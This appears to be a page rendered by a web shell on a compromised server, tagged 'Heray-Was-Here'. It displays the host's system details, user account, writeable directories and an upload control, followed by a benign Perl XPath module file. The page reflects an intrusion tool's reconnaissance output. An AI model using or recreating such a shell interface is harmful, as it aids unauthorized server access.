Heray-Was-Here
Server : Apache
System : Linux vps43555.mylogin.co 3.10.0-1160.53.1.vz7.185.3 #1 SMP Tue Jan 25 12:49:12 MSK 2022 x86_64
User : redsea ( 60651)
PHP Version : 7.4.32
Disable Function : NONE
Directory :  /usr/local/share/perl5/XML/XPathEngine/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/share/perl5/XML/XPathEngine/LocationPath.pm
# $Id: LocationPath.pm,v 1.8 2001/03/16 11:10:08 matt Exp $

package XML::XPathEngine::LocationPath;
use XML::XPathEngine::Root;
use strict;

sub new {
	my $class = shift;
	my $self = [];
	bless $self, $class;
}

sub as_string {
	my $self = shift;
	my $string;
	for (my $i = 0; $i < @$self; $i++) {
		$string .= $self->[$i]->as_string;
		$string .= "/" if $self->[$i+1];
	}
	return $string;
}

sub as_xml {
    my $self = shift;
    my $string = "<LocationPath>\n";
    
    for (my $i = 0; $i < @$self; $i++) {
        $string .= $self->[$i]->as_xml;
    }
    
    $string .= "</LocationPath>\n";
    return $string;
}

sub set_root {
	my $self = shift;
	unshift @$self, XML::XPathEngine::Root->new();
}

sub evaluate {
	my $self = shift;
	# context _MUST_ be a single node
	my $context = shift;
	die "No context" unless $context;
	
	# I _think_ this is how it should work :)
	
	my $nodeset = XML::XPathEngine::NodeSet->new();
	$nodeset->push($context);
	
	foreach my $step (@$self) {
		# For each step
		# evaluate the step with the nodeset
		my $pos = 1;
		$nodeset = $step->evaluate($nodeset);
	}
	
	return $nodeset;
}

1;

Hry